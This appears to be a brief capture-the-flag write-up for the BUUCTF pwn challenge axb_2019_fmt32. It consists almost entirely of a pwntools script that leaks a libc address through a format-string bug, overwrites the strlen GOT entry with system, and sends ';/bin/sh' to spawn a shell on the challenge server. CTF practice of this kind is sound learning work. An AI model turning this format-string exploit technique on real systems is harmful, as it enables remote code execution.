[BUUCTF-pwn]——axb_2019_fmt32

[BUUCTF-pwn]——axb_2019_fmt32

啊啊啊啊啊啊啊，为什么明明很简单的一道题写了好久

from pwn import * 
from LibcSearcher import LibcSearcher

p = remote("node3.buuoj.cn",26515)
elf = ELF("./axb_2019_fmt32")

puts_got = elf.got["puts"]

strlen_got = elf.got["strlen"]

payload1 = "%9$s" + "a" + p32(puts_got)
p.sendafter("Please tell me:",payload1)
p.recvuntil(":")
puts_addr = u32(p.recv(4))
print(hex(puts_addr))

libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
bin_sh = libcbase + libc.dump("str_bin_sh")
log.success("system_addr ---> ", hex(system_addr))
info("bin_sh ---> ", hex(bin_sh))

high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff

payload2 = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload2 +=  "a" * 6 
payload2 += p32(strlen_got) + p32(strlen_got + 2)

p.sendafter("Please tell me:",payload2) 

payload3 = ';/bin/sh\x00'
p.sendafter("Please tell me:",payload3)

p.interactive()